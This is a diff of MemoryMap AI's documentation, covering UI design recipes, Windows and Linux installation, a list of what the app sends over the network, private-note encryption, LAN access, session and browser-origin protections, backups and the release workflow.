+| A notification (toast) | `toast`, `toastAction` or `toastProgress` in status.js. **One row** (INBOX 584): `.toast-msg`, then each action as `toastActionButton`'s `small .toast-action`, then the close, spaced only by the toast's `--space-3` gap (no part carries its own margin; never a bare link after the words); every control is `--toast-ctl` (`--target-min`) tall and the message's first line is padded to centre on it, so a one-line toast is one centre line and a wrapped message keeps its actions beside its first line. **Every action is kept** (INBOX 585): `toastAction(text, label, fn, { go })` records a row in the bell with the same label; `go` is plain data (`{ open: "entry"|"conversation"|"doc"|"board"|"reminder"|"capture", id }`, `{ tab }`, `{ settings, focus }`) re-resolved by id when pressed, so an opener works after a reload; an action with no `go` is one-shot (Done once pressed, Expired after a reload; an Undo only while its `pushUndo` entry is on the stack, or five minutes); `{ record: false }` only for a notice already recorded. It arrives and leaves by fading with 4px of travel (`toast-in`, `toast-out`, on `translate`), and every way out goes through `dismissToast`, never `note.remove()`, so none of them vanishes between two frames. **A toast yields to the focused control it covers** (WCAG 2.4.11): status.js's `focusin` listener puts `is-yielding` on `#toast-box` when a toast overlaps the control Tab just reached, and `#toast-box.is-yielding > .toast` fades to 0.12 and takes no clicks until focus moves off it; the box itself takes no clicks beside a narrow toast below 1100px, only its toasts do | `scratchpad/ui-sweeps/f2-skel.js`, `scratchpad/ui-sweeps/zoom.js` | `scratchpad/ui-sweeps/f2-skel.js` |
+| A list whose first rows are on their way | `showSkeletons(list, n)` before the fetch and `clearSkeletons(list)` after it (app.js): the `.skeleton` placeholders at the height of the list's own rows, `aria-busy` while they show, only ever into an empty list; the list's own render replaces them. Never a spinner or a blank card where the shape of the content is known. A dashboard widget mounts with two (`mountWidgetBody`) and they go the moment it draws anything of its own; no body ever says "Loading…" (INBOX 596). A Settings pane's list that fills from a request does the same (Packages, Skills, Tools, Personas, Backups, Privacy, Account: `showSkeletons` before the await, `clearSkeletons` after it, so a failed request leaves nothing busy) | `scratchpad/ui-sweeps/f2-skel.js`, `scratchpad/ui-sweeps/skeletons.js`, `scratchpad/ui-sweeps/settings-skeletons.js`, `tests/test_lazy_skeletons_598.py` |
+| A surface whose code or data is on its way (a lazy tab's first visit: Graph, Library, Documents; the dashboard's grid while it fills unseen) | **Its own outline, then its name** (INBOX 598): a lazy tab gets an entry in `TAB_SKELETONS` (navigation.js), a page-shaped set of `.skeleton` pieces built by `tabSkeletonPiece` and `tabSkeletonBar` (a dock, then the graph's canvas and dots, the library's chips and tiles, the documents list and the open page), and past `TAB_SKELETON_NAME_MS` (400) a `role="status"` line with the ring in the dock's middle: "Opening the graph…". The placeholder is stretched over the page (`align-self: stretch`; centred, it shrank to a line across the middle). The dashboard's grid, hidden while it fills, has `dashFillingSkeleton` over its own box; a return to the dashboard keeps what is drawn and swaps each widget in when it has drawn again (`refreshDashWidgets`), never an empty frame.

A pane with no head in the markup gets the same shape from `ensureSettingsPaneTitle` (settings.js). The dock is what sticks at the top of the pane on `--modal-bg-opaque`; the section's index is not in it but in the sidebar, under the pane's own link (the row below, INBOX 622). **A pane that makes things carries its New in the dock** (`button.ghost.small.settings-pane-new[data-opens=<the form's first field>]`, `data-cancel` naming the form's Cancel edit; one listener in settings.js opens the fold and focuses the field), before the '?'; a ghost, because the form's own Add is the page's one filled button; below 600 it is its plus on the title's row with the links under both (Personas, Skills, Templates) | `tests/test_ui_recipes.py`, `tests/test_settings_pane_actions.py`, `scratchpad/ui-sweeps/settingsheads.js`, `scratchpad/ui-sweeps/settingsnav.js`, `scratchpad/ui-sweeps/paneacts.js` |

A press scrolls the pane's own `scrollTop` to the head just under its sticky dock (never `scrollIntoView`) and focuses the head; the head you are at is marked from `aria-current="location"` (ink, a weight step and a 2px accent rail at the leading edge, never colour alone and never a second fill beside the pane's), tracked on scroll. Hidden while the sidebar searches. On a phone the jump list (`#settings-jump`) gains the same groups as indented `pane#index` options under the pane's option, and follows the scroll too. **Nothing in Settings scrolls sideways**: a snippet or command wraps (`.setup-snippet`, `#settings-modal .code-block`) and a fold's name wraps | `tests/test_ui_recipes.py`, `tests/test_settings_no_sideways.py` (no Settings rule scrolls on x; the index is the sidebar's), `scratchpad/ui-sweeps/settingsnav.js` (every pane at 1440 and 390: nothing scrolls sideways; a press lands under the dock; the current group tracks the scroll; the jump list follows) |

Down from the field walks the rows, Enter opens the first. The section filter above them stays: the two answer different questions | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/settingsnav.js` |
+| A model you can download, install or use (the Models screen's suggested downloads, and any model named by hand) | **The model card**, `article.model-card` built by `buildModelCard` (settings-models.js): a surface-3 tile in the group's surface-2 (no border), the name (`h5`), the group's starting pick as a `.chip` beside it, one line of purpose, one `.library-file-meta` line of facts (size on disk, the memory it asks for), what it is good at, the fit chip (`Fits`, `Tight fit`, `Too big here`, estimated from this computer's memory by the server, never in the client), what it is doing now (`Installed`, `In use for chat`), and a foot with **one primary action** (Download, Use for chat, Retry, or Cancel download while it runs) and a `kebabMenu` for the rest (Copy name, Remove). Cards are grouped by purpose under an `h4` and one line, in a `.model-grid`; the group's starting pick is the one filled button in its group, every other primary is tonal. A download shows its progress inline (`progress.model-progress` with a decimal "34% 1.0 GB of 3.0 GB") and is cancelled from the same card. Cards are **kept, not rebuilt, on every poll** (a signature per card; progress updates in place), or the open menu and the focus inside it are lost | `tests/test_ui_recipes.py`, `tests/test_model_cards.py`, `scratchpad/ui-sweeps/modelcards.js` |
+| A model named by hand (Download another model) | One field and a Check name button under the cards; the answer is a sentence in `#custom-model-note` saying what the name is (an Ollama library model, a community model, a Hugging Face repository), where it downloads from and any warning, and the card for it, the same card as above, so progress and Cancel are the same. The check is `POST /models/inspect`, the same function `/models/pull` refuses with (`model_cards.inspect_model_name`): no network, no claim of a size | `tests/test_model_cards.py`, `scratchpad/ui-sweeps/modelcards.js` |

+| The edge of anything you aim at that is not text (a text field, a select opener, a selected segment or option, an interactive chip, an icon on a fill) | **3:1 against the ground it stands on, through tokens only** (WCAG 1.4.11; INBOX 464). A field, a select opener and a suggestion chip draw `border: 1px solid var(--control-edge)` (a step stronger than `--ghost-btn-border`, the quiet button's measured hairline, because a field also sits on a settings group's grey well; `[data-contrast="on"]` makes it `--ink`); its hover is `color-mix(in srgb, var(--accent-text) 60%, var(--control-edge))`, never a pale accent mix, which measured 2.3:1 and was weaker than the resting edge. A selected segment (flat looks) is its 11% fill **plus** `box-shadow: inset 0 0 0 1px var(--control-edge)`; the tint alone measured 1.25:1. A chosen radio option row (`.check-row`, `.provider-option`) carries `inset 0 0 0 1px var(--accent-text)` because its input is hidden and the tint (1.15:1) was the only cue. A tab strip's active tab may rely on a heavier weight instead of a ring. An icon is never dimmed by `opacity` (`.ph-trail` was 0.7 and a muted caret measured 2.8:1): it takes its label's colour, or `--muted`. **Counted apart, a decision rather than a failure**: the borderless writing surfaces (the note title and body, the Ask line, the Writing room's tags and instruction, a document's title) have no edge of their own; the card or composer around them and their focus ring carry them, and `contrastui.js` lists them as `field-bare` so the list stays visible | `scratchpad/ui-sweeps/contrastui.js` (icons, SVG icons, focus rings, fields, checks, toggles, selected states, chips, text outside `.tab-page`; every tab, sub-tab, Settings section and main overlay, 1440 and 390, both themes, `CONTRAST=on`), `tests/test_control_edge.py` |
 | The app's mark in an empty state or a head | an element with an id on `EMBLEM_SLOTS` (phone-shell.js), drawn by `renderBrandLogo` and turning with it; never a generic icon standing in for the mark | `tests/test_emblem_slots.py` |
 | Atlas, anywhere it is drawn | `atlasAvatar(size, mood)` for head and shoulders, `atlasDraw(size, mood, level)` for the figure (atlas.js), or a `data-atlas-avatar="<px>"` host that `atlasDressMarks` fills, which keeps a plain icon as its fallback in the markup; each follows Settings, Appearance, Atlas style and Atlas look at once. Never a picture of Atlas, which would not follow either. Its gradients live in shared `svg.atl-defs` hosts, so a drawing moved out of the document loses its fill | `tests/test_name_mood.py`, `tools/avatar-lab.html` (every mood, pose and size on one page) |

A new surface does nothing for it: controls (buttons, fields, tabs, links, an editor) are kept clear by `NAME_MARK_BUDDY_NEVER_COVER`, and a new kind of control it must not sit on joins that list rather than moving the companion by hand | `tests/test_companion_motion.py`, `scratchpad/ui-sweeps/companionscroll.js`, `companionpin.js`, `companionmenu.js` |
+| The assistant's head on a reply or a guide mark | `paintAssistantAvatar(holder, size)` (chat-agent.js; a reply head goes through `paintPersonaAvatar`, which sends the app's own voice here and keeps every other persona's generated face). It reads Settings, Appearance, Assistant avatar (`atlas`, the default, or `emblem`: the logo's p5 sketch drawn once and copied, assistant-avatar.js, still under Reduce motion) and repaints the open heads when it changes. The same head (`.msg-role.msg-role-assistant`: face, then name) opens Ask's answer (`.answer-title`), the writing room's draft (`.draft-head-label`; static `[data-assistant-head]` holders, `paintAssistantHeads`) and every guide row (`assistantHeadRow`), in the row the old title or label held, so no row grows.

A new surface does nothing for it: controls (buttons, fields, tabs, links, an editor) are kept clear by `NAME_MARK_BUDDY_NEVER_COVER`, and a new kind of control it must not sit on joins that list rather than moving the companion by hand. **It never sits on the air** (INBOX 582): what it sits, stands or hangs on is asked of the page under it (`nameMarkBuddySupported`: a visible edge within 2px), after a scroll, a canvas pan or zoom, a release, a view change and every 1.5s at rest, and when it has gone it chooses again at once; what is drawn on a board, a map or the graph is never a perch. **It stacks with its perch**: perched on something that scrolls under a bar, it goes under that bar with it (`.nm-buddy-shutter`, `nameMarkBuddyRideClip`); perched on the bar itself it stays in front. **Enlarged, it is itself**: a double-click moves the companion's own element into its large view (`nameMarkBuddyVisit`), still doing what it was doing, and home again on Close; never a second drawing of it | `tests/test_companion_motion.py`, `tests/test_companion_stacking.py`, `tests/test_companion_toggle.py`, `scratchpad/ui-sweeps/companionscroll.js`, `companionpin.js`, `companionmenu.js`, `companionstack.js`, `companiontoggle.js`, `companionchat.js`, `companionviewer.js`, `companionfade.js`, `smooth1005-perch.js` |
+| A row of facts about a card where some facts open a list (a skill's "3 steps", "4 tools") | One `.skill-card-facts` row, every fact one `--skill-fact-h` box on one baseline: a plain fact is a `.chip`, a fact that opens is a `button.skill-fact-toggle` carrying `aria-expanded` and `aria-controls` and a trailing caret that turns. What it opens is a `.skill-fact-panel` *after* the row at the card's full width, never inside it, so opening one never moves another fact (INBOX 450: a `<details>` in the row pushed "4 tools" onto a line of its own). A list of identifiers in a panel is `code.skill-tool-token`, the code chip, at the fact height. Cards of uneven height are dealt into columns in reading order (`skillColumnCount`, like `libraryColumnCount`), never a grid whose rows stretch to their tallest card | `tests/test_ui_recipes.py`, `scratchpad/ui-sweeps/skills450.js` |
+| A note's details line (category, score, tags, suggestions, the dates it mentions, links, the time) | **One line, never two**: `.entry-meta.note-meta` is `nowrap`, and `fitNoteMetas` (note-cards.js, one shared `ResizeObserver`, every line reset, read and folded in three passes so a list costs two layouts) folds what does not fit from the end: suggestions then tags into one "+N" chip (`.note-meta-more`, a press lists them through `openMenuAtPoint`, each row doing what its chip does), then the word facts keep their icon and lose their words (`.is-icon`, the words on the `title`), then they ellipsise; the category gives way last. **The time is the line's last fact at its right edge on every card**, never in the head row (the corner is the actions', and a time that faded there on hover was INBOX 446). A new fact on the line is a `.chip` with a `ph:` icon, so it can fold | `tests/test_note_meta_line.py`, `scratchpad/ui-sweeps/notemeta.js`, `scratchpad/ui-sweeps/notemetamore.js` |

The tone is the tint, never an edge. The Files tiles' "Read · N words" and a chat attachment's reading badge are this label too. Beside a heading it centres on the heading's text (measured within 0.7px by `badgeinv.js`). Not this recipe: a count (a number pill), a reading badge laid over a picture (it needs a ground), a fact on a facts line (`.chip.item-fact`), and the dashboard's "Editing layout", which is words by the owner's call. A model card's labels are a row of their own above its actions, one line (INBOX 468). A named item in a list (Settings' templates, skills, personas) is the row (title, label, facts, description) beside its actions, which are a right-hand column centred on the whole item and always shown | `tests/test_badge_recipe.py` (`test_a_status_label_is_a_tinted_pill_without_an_edge`), `scratchpad/ui-sweeps/badges.js`, `scratchpad/ui-sweeps/badgeinv.js`, `scratchpad/ui-sweeps/modelcardfoot.js` |

 ## Windows installer
 
-The simplest way in on Windows, no terminal or Python install required:
+No terminal and no Python install are needed to run the app.
 
 1. Download the latest `MemoryMap-AI-Setup-*.exe` from
-   [Releases](https://github.com/Braydenh563/MemoryMap-AI/releases).
-2. Run it. **Windows will show a blue "Windows protected your PC" screen**:
-   this build is not code-signed yet (a certificate costs money every year,
-   and is not worth it before there is a real user base to justify it), so
-   Windows flags it as from an unrecognised publisher. Click **More info**,
-   then **Run anyway**. The installer only copies the app into your own
-   user folder: nothing system-wide, no admin prompt.
-3. It installs a Start Menu shortcut (and, optionally, a desktop one) and
-   offers to launch the app when it finishes.
-
-**Deploying to several machines?** The installer runs silently for the
-person running it: `MemoryMap-AI-Setup-<version>-windows-x86_64.exe
-/VERYSILENT /SUPPRESSMSGBOXES`. A silent install downloads no optional
-packages unless you name them, for example `/EXTRAS=documents,docx`. An MSI
-build (per machine, for `msiexec /quiet` and Group Policy) exists in
-`packaging/windows/installer.wxs` but is paused: its toolkit's new licence
-terms stopped the release build, so current releases carry the .exe only.
-
-The desktop window is part of the app. The optional packages (search by
-meaning, voice notes, document import and Word export) are downloaded, on the
-installer's last page or later from **Settings → Packages**, with a Python
-from [python.org](https://www.python.org/downloads/) on the same computer:
-the default options of its installer are enough. Without one, the app works
-and those four features stay off.
-
-Your notes live in `%APPDATA%\MemoryMap AI`, untouched by an update or
-reinstall, and left alone if you uninstall the app itself.
-
-**The installer is a snapshot, not a subscription.** It does not phone home
-or patch itself: a release built today is exactly what you will be running
-a year from now, unless you download a newer one by hand. Turn on
-**Settings → About → "Check GitHub for a newer version"** (off by default,
-the same "100% offline unless you ask" rule as web search) and the app
-tells you when a newer release exists. It only ever checks; it never
-downloads or installs anything on its own.
-
-**No terminal window.** The desktop app runs its server in the background
-and puts an icon in the system tray. Closing the window minimises it there
-rather than quitting, and the tray menu (Open / View Logs / Restart / Quit)
-is how you get it back or shut it down for real. If Settings → Packages
-shows the desktop extra as installed but no tray icon appears, the tray
-piece (`pystray` + `Pillow`) did not come along with it: reinstall the
-desktop extra from that same panel.
-
-Prefer to build it yourself, or want it on macOS or Linux? See below:
-`start.sh`/`start.bat` work on all three, today.
+   [Releases](https://github.com/Braydenh563/MemoryMap-AI/releases/latest).
+2. Run it. Windows shows a blue "Windows protected your PC" screen, because
+   this build is not code-signed yet. Click **More info**, then **Run anyway**.
+   The installer copies the app into your own user folder: nothing
+   system-wide, and no administrator prompt.
+3. It adds a Start Menu shortcut, an optional desktop shortcut and a "Repair
+   MemoryMap AI" shortcut, then offers to start the app.
+
+The app opens in its own window. A tray icon keeps it running when you close
+the window. The tray menu brings it back, starts a note, a question or a search,
+records a meeting, opens Reminders, Settings, Background tasks or the logs,
+hides the window to the tray, and restarts or quits the app. If Settings,
+Packages shows the desktop window as installed but no tray icon appears,
+reinstall that package from the same pane.
+
+**Optional packages.** The installer's last page offers three boxes: search by
+meaning (about 2 GB), voice notes, and document import with scanned-PDF
+reading and Word export. All are optional, and each can be installed or
+removed later from **Settings, Packages**. Downloading them needs Python from
+[python.org](https://www.python.org/downloads/) on the same computer; the
+default options of its installer are enough. Without one, the app works and
+those features stay off.

+**Several machines.** The installer runs silently:
+`MemoryMap-AI-Setup-<version>-windows-x86_64.exe /VERYSILENT /SUPPRESSMSGBOXES`.
+A silent install downloads no optional packages unless you name them, for
+example `/EXTRAS=documents,docx`. An MSI build for Group Policy exists in
+`packaging/windows/installer.wxs`, but it is paused: its toolkit's new licence
+terms stopped the release build, so releases carry the `.exe` only.
+
+**The installer is a snapshot.** It does not update itself, and nothing
+contacts GitHub until you ask: see [Updating](#updating).
+
+## Linux package
+
+1. Download `MemoryMap-AI-*-linux-x86_64.tar.gz` from the same
+   [Releases](https://github.com/Braydenh563/MemoryMap-AI/releases/latest)
+   page and unpack it with `tar -xzf`.
+2. Run `MemoryMap AI` from the unpacked folder.
+
+Use the tarball, not the `.zip` beside it. A zip does not reliably keep the
+executable bit, so some archive managers unpack a launcher that will not
+start. The window needs GTK and WebKit as system packages (on Debian and
+Ubuntu: `python3-gi`, `python3-gi-cairo`, `gir1.2-gtk-3.0` and
+`gir1.2-webkit2-4.1`). This build has no tray icon, so closing the window quits
+the app. Your notes live in `~/.local/share/MemoryMap AI` (or under
+`$XDG_DATA_HOME`).

+Yes, and it is enforced, not just intended. Every chat and agent request goes
+to a model server on your own computer or network, and **Settings, Models,
+Keep Atlas on this machine** is on by default: an address that is not on this
+computer or your own network is refused, not warned about. The check runs when
+you set the address and again when the app builds its client at startup, so a
+hand-edited `preferences.json` or a restored backup cannot quietly route your
+notes somewhere else. Turning the lock off is a deliberate click, for people
+who want a hosted API.
+
+The provider is an address you control. It defaults to Ollama on this machine,
+and the OpenAI-compatible option defaults to `http://localhost:1234/v1`. Point
+either at a remote service and your prompts, and the notes used to answer them,
+go to that service. The app will not do it on its own. Ollama's own hosted
+service (`ollama.com`) is not local, and the lock refuses it like any other
+remote address.
 
-## What actually touches the network
+## What touches the network
 
-Being precise about what "local" means here, since it's the whole
-promise. Four things do touch the network, and none of them is your
-notes:
+"Local" has to be precise, because it is the whole promise.
+Five things do touch the network, each started by you or a one-off on first
+use, and none of them is your notes:
 
 | What | When | What goes out |
 | --- | --- | --- |
-| `ollama pull` | You download a model | The model name, to Ollama's registry |
-| The embedding model | Once, on first use | A one-off download of `bge-small-en-v1.5` |
-| Web search | Only if you turn it on | Your search words, never your notes |
-| The update check | Only if you turn it on | A request to the GitHub releases API, no data about you |
+| Model downloads | You press Download in Settings, Models | The model name, to Ollama's registry, or to Hugging Face for an `hf.co` name. Ollama does the fetching |
+| The search model | Once, the first time search by meaning needs it | The `sentence-transformers` package from PyPI and `BAAI/bge-small-en-v1.5` from Hugging Face. `MEMORYMAP_NO_AUTO_INSTALL` stops it, and an Ollama embedding model avoids it |
+| Optional packages and SearXNG | You press Install in Settings, Packages, or Start SearXNG in Settings, Web search | pip downloads; Run Python files (Pyodide) from GitHub and Tool calling without Ollama (needle) from Hugging Face, both checked against a sha256; SearXNG's source from GitHub |
+| Web search | Only while Settings, Web search is on, which also covers the reader view and page clipping | Your search words, or the address of the page you open. Never your notes |
+| The update check | Only if you turn on Settings, About, Updates, Check GitHub for a newer version, or press Check for updates | A request to GitHub's releases API, with no data about you. The first start asks once whether to check automatically (in the terminal for `start.sh`, in the app otherwise), and until you answer nothing about updating touches the network, a launcher copy's pull included |
+
+Your notes, your questions and everything the AI writes about them stay on your
+machine in every case. The AI provider is a separate matter, covered above.
 
-Your notes, your questions, and everything the AI writes about them
-stay on your machine in all four cases.
+## Proof, from the app's own record
 
-One more thing is worth stating plainly, because it is a choice you can
-make rather than a feature the app switches on: **the AI provider is an
-address you control.** It defaults to Ollama on this machine, and the
-OpenAI-compatible option defaults to `http://localhost:1234/v1`. Point
-either at a remote service and your prompts, and the notes used to answer
-them, go to that service. Nothing stops you; the app simply will not do it
-on its own. Ollama's own hosted service
-(`ollama.com`) would not be local, and the lock refuses it like any
-other remote address.
+**Settings, Privacy** shows every connection this app has made, as it happened:
+the destinations since launch and all time, where your model server points, who
+can open the app, and which switches let the app connect past this computer.
+The record comes from the interpreter itself, which reports every connection
+and name lookup the app's process makes, so no code path can skip it. Your
+model server and a SearXNG instance are separate programs with their own
+connections, which this record cannot see. Their addresses are shown instead.

+Off until you turn it on in **Settings, Web search**. When it is on:

-- tracking parameters (`utm_*`, `fbclid`, `gclid`, and the like) are

-- **your own [SearXNG](https://searxng.org) is the recommended engine**,
-  and MemoryMap installs and runs it for you in one click: no Docker

+unasked.
 
 ## Private notes
 
-Encrypted at rest with a key wrapped by your password, and excluded
-from search, the graph and every AI tool: the model cannot reach around
-the front door. The key is derived with **scrypt** (n=2^15), a
-deliberately slow, memory-hard function, so a copy of the database file
-taken off the machine is not worth guessing at.
-
-## The browser on your own machine is treated as untrusted too
-
-Binding to localhost keeps the *network* out; it does nothing about a
-page open in another tab, which can ask your browser to send requests
-to `http://localhost:8000` on your behalf. This is how local dev servers
-and Ollama itself have actually been attacked. So:
-
-- requests that state an origin other than MemoryMap's own are
-  **refused**, including before you have set a password, when there is
-  otherwise nothing standing between a stray page and your new
-  notebook;
-- a strict **Content-Security-Policy** on every response allows scripts
-  and styles only from the app itself, no inline code, and **no remote
-  host at all**, which the "no asset from a CDN" rule above makes
-  possible;
-- **sessions expire**, after 12 hours unused, and 7 days regardless, and
-  expiring forgets the private-note key, not just the token;
-- **wrong passwords earn a growing wait**, so a four-character PIN
-  cannot be guessed at speed;
-- the SearXNG instance the app runs for you is published to
-  `127.0.0.1` only, never the wider network.
-
-`.github/workflows/codeql.yml` runs static security analysis on every
-push to `main`, on every pull request whatever its base, and weekly.
-
-That "whatever its base" was added on 2026-09-21 and is not a detail. The
-workflow filtered on `pull_request: branches: [main]`, and a pull request's
-branch filter matches its *base*, so a pull request opened against another
-feature branch was never scanned: measured at the time, one such branch had
-**0 CodeQL runs** against several hundred commits while the ordinary test
-workflow, which carries no such filter, ran on every push to it.
-
-## One notebook, one password
-
-MemoryMap is single-user by design: one `users` row, one password,
-everything on this machine. To keep separate notebooks, point the app
-at a different data folder with `MEMORYMAP_DATA_DIR` rather than
-creating a second account.
-
-### If you forget the password
-
-There is no reset link inside the app: one there would just be a way in
-for anyone at the keyboard. Instead:
+Private notes are encrypted at rest with a key wrapped by your password, and
+kept out of search, the graph and every AI tool: the model cannot reach around
+the front door.
+
+The key is derived with **scrypt** (n=2^15), a deliberately slow, memory-hard
+function, then used with AES-GCM. Slow is not impossible. The wait between
+wrong passwords only guards the running app, and a copy of the database file or
+of a backup can be guessed offline as fast as a computer can run scrypt. A
+four-digit PIN falls to that in minutes; a long passphrase does not. So a new
+password needs at least eight characters, and one that is still easy to guess
+(a common word, a run like 12345678) is accepted with a warning that says why.
+A password set before this keeps working. If you keep private notes, use a
+passphrase.
+
+Making a note private also:
+
+- replaces any saved Ask answer or chat reply that cited it, or repeats a run of
+  its words, with a line saying its words were removed (your question stays);
+- merges the search index and clears the note's old entries from the database
+  file and its write-ahead log;
+- means every backup is a cleaned copy, so none of its words survive in the
+  file.
+
+## Other devices on your network
+
+Off by default. With it off, the app listens on `127.0.0.1` and nothing on your
+network can reach it. **Settings, Account & security, Other devices, Allow
+other devices on this network** lets a phone or a second computer open the
+notebook. Then:
+
+- it always asks for your password, whatever this computer is set to, and
+  private notes still ask for it too;
+- turning it on asks for your current password, and takes effect at the next
+  start;
+- the network side is **HTTPS on its own port**, 8443 beside the usual 8000
+  (`MEMORYMAP_LAN_PORT` overrides it). This computer keeps plain http on its own
+  port;
+- the certificate is made on this computer the first time the switch is on, with
+  no network involved, and kept in your data folder, readable by you only. It is
+  self-signed, so a device warns the first time it opens the address. Compare
+  the SHA-256 fingerprint in its certificate details with the one Settings
+  shows, and continue only if they match. Regenerate certificate makes a new
+  one;
+- a request that names a domain other than this computer is refused, so a web
+  page that re-points its own name at your machine (DNS rebinding) gets
+  nothing.
+
+The app never listens beyond this computer while no password is set, and a
+request from the network before a password exists is refused.
+
+## Signing in and sessions
+
+MemoryMap is single-user by design: one notebook and one password, all on this
+machine. To keep separate notebooks, use a different data folder
+(`MEMORYMAP_DATA_DIR`), or Spaces inside one notebook, rather than a second
+account.
+
+- **The password is optional on a computer only you use.** Settings, Account &
+  security, Signing in turns off "Ask for a password when the app opens". The
+  app then opens straight in on this computer. Another device still needs the
+  password, and so do private notes.
+- **Sessions expire.** After 12 hours unused by default, which Auto-lock when
+  idle changes anywhere from 5 minutes to 12 hours, and after 7 days however
+  busy. A session is a token held in memory only, so restarting the app locks it
+  again, and expiring forgets the private-note key, not just the token.
+- **Wrong passwords earn a growing wait**, everywhere a password is checked
+  (unlock, change password, re-encrypting private notes), so a short PIN cannot
+  be guessed at speed through the app.
+- **A password over 72 bytes works**, and one over 1,024 characters is refused.
+  Changing your password ends every other session.
+
+## Your browser is treated as untrusted too
+
+Listening on localhost keeps the network out. It does nothing about a page open
+in another tab, which can ask your browser to send requests to
+`http://localhost:8000` on your behalf. This is how local dev servers and
+Ollama itself have been attacked. So:
+
+- a request that states an origin other than MemoryMap's own is **refused**,
+  including before you have set a password, when nothing else stands between a
+  stray page and your new notebook;
+- a strict **Content-Security-Policy** on every response allows scripts and
+  styles only from the app itself, with no inline code and **no remote host at
+  all**, which the no-CDN rule makes possible;
+- a request body is capped at 1 MB until you are signed in;
+- an attachment is served as a download unless it is a picture or a PDF, and
+  those are sandboxed, so an uploaded script can never run in the app;
+- the SearXNG instance the app runs is published to `127.0.0.1` only;
+- on Linux and macOS the notebook folder is readable by its owner only.
+
+CodeQL runs static security analysis on every push to `main`, on every pull
+request whatever its base, and weekly. The "whatever its base" matters: a branch
+filter on the pull request matches its base, so a pull request opened against a
+feature branch was once never scanned.
+
+## Backups
+
+The app takes a snapshot of your notebook once a day when it starts, and Back up
+now takes one on request. Snapshots live in your data folder (`backups/`) and
+never leave your computer, and restoring one first snapshots the current state,
+so a restore can be undone. A restore signs every session out and asks for your
+password again, so restored private notes open with the key that came with them.
+
+Settings, Import & export can also write a **full backup**: the database, media
+and attached files as one file. Type a password and it is sealed as a `.mmenc`
+file (AES-GCM, with the same scrypt key derivation the private notes use). Leave
+the password empty and it is a plain `.zip`. **Restore a full backup**, in the
+same place, reads either kind, after a safety snapshot. A wrong password or a
+file that is not a notebook changes nothing.
+
+Every backup is as sensitive as the database itself, so keep it somewhere you
+trust.
+
+## If you forget the password
+
+There is no reset link inside the app: one there would be a way in for anyone at
+the keyboard. Run this in a terminal instead:
 
 ```
 python -m memorymap --reset-password
 ```

+does not set them for you.
 
-### 1. Bump `__version__`
+### 1. Bump the version everywhere it lives
 
-```python
-# src/memorymap/__init__.py
-__version__ = "0.2.0"
-```
+`__version__` in `src/memorymap/__init__.py` is the source of truth. It shows in
+**Settings, About**, in the Windows installer's file properties, and is what the
+in-app update check (`GET /update/check`) compares against GitHub's latest
+release tag. **A tag that disagrees with it stops the release**: the first job
+of `release.yml` compares the two and fails before anything is built, and
+the workflow reads the installer's own version from this file too and passes it
+to `installer.iss` as `/DMyAppVersion` (which refuses a `MEMORYMAP_VERSION` that
+says otherwise).
+
+The same number is written in four more places. Two have a lint that fails the
+build if they are missed, and two you must remember:
 
-This is what shows in **Settings → About**, what the Windows installer's
-own file properties report, and what the in-app update checker
-(`GET /update/check`) compares against GitHub's latest release tag. **If you
-tag `v0.2.0` without bumping this, the app will call itself `0.1.0`
-everywhere except the installer's filename** — a real, easy-to-miss
-inconsistency, not a cosmetic one.
+| Place | Checked by |

+| `pyproject.toml`, the `version` line | nothing: do it by hand |
+| the same `?v=` stamps in `frontend/capture.html` and `frontend/clip.html` | nothing: do it by hand |
 
-### 2. Rename the changelog header — in both copies
+The README line is also where the test count, the tool count and the skill count
+are checked, so a release is a good moment to read the README against the app.
 
-`CHANGELOG.md` keeps everything not yet released under `## [Unreleased]`.
-Before tagging, rename that header to the version and today's date:

+Push only from a state where CI passes on the branch you are releasing from. The
+release workflow does not run the test suite: it trusts that the tagged code
+already passed CI. For a change to the packaging itself (`memorymap.spec`,
+`installer.iss`, the workflow), check that **Package check**
+(`.github/workflows/package-check.yml`) is green too. It builds the frozen Windows
+app and the installer, installs them silently and starts the app, so a packaging
+break shows up before release day. It publishes nothing.
 
 ## Tagging and pushing
 
 ```
-git tag v0.2.0
-git push origin v0.2.0
+git tag v0.4.0
+git push origin v0.4.0
 ```

+Tagging a branch tip that has not been merged ships code nobody else has

 ## What happens automatically
 
-Pushing the tag fires `.github/workflows/release.yml`, two jobs in sequence:
-
-**1. `github-release`** (~30 seconds)
-Creates the actual GitHub Release for the tag, with the description pulled
-from `CHANGELOG.md`'s matching section (see above).
-
-**2. `build-windows-installer`** (~10–15 minutes, real Windows hardware via
-`windows-latest`)
-- Installs a trimmed dependency set — deliberately **without**
-  `sentence-transformers`/torch (Settings → Packages already treats those as
-  an optional post-install, same as voice dictation and the desktop window
-  itself; bundling a multi-hundred-MB download into the base installer would
-  contradict that).
-- Runs PyInstaller against `packaging/windows/memorymap.spec` (onedir build
-  — a onefile build would re-extract itself on every single launch, a bad
-  fit for something meant to open like a normal desktop app).
-- Runs Inno Setup against `packaging/windows/installer.iss`, which reads the
-  version from the tag via the `MEMORYMAP_VERSION` environment variable.
-- Uploads `MemoryMap-AI-Setup-<version>.exe` to the release the first job
-  just created.
-
-Nothing is published to PyPI — deliberate, see the comment at the top of
-`release.yml`. This app ships as a Windows installer via GitHub Releases,
-not as something `pip install`s.
+Pushing the tag starts `.github/workflows/release.yml`. It has four jobs:
+
+**1. `resolve-version`** (seconds). Works out the version and the tag from the tag
+push or from the manual run's input.
+
+**2. `github-release`** (about 30 seconds). Creates the GitHub Release for the
+tag, with its description taken from `CHANGELOG.md`'s matching section.
+
+**3. `build-windows-installer`** (about 10 to 15 minutes, on `windows-latest`),
+after the release exists:
+
+- Installs a trimmed dependency set, deliberately **without**
+  `sentence-transformers` and torch. Settings, Packages treats those as an
+  optional post-install, like voice dictation, and a multi-hundred-MB download in
+  the base installer would contradict that.
+- Runs PyInstaller against `packaging/windows/memorymap.spec`. It is a onedir
+  build: a onefile build would re-extract itself on every launch, a poor fit for
+  an app meant to open like a normal desktop app.
+- **Smoke-tests the frozen app.** It starts the built executable on a scratch data
+  folder and fails the release unless the app serves its page within a minute.
+- Runs Inno Setup against `packaging/windows/installer.iss` with
+  `/DMyAppVersion=` the version in `src/memorymap/__init__.py`; it refuses a
+  `MEMORYMAP_VERSION` (the tag) that differs.
+- Uploads `MemoryMap-AI-Setup-<version>-windows-x86_64.exe` to the release. The
+  WiX `.msi` steps are present but switched off: its toolkit's licence terms
+  stopped the release build.
+
+**4. `build-linux-package`** (about 10 to 15 minutes, on `ubuntu-latest`), in
+parallel with the Windows job:
+
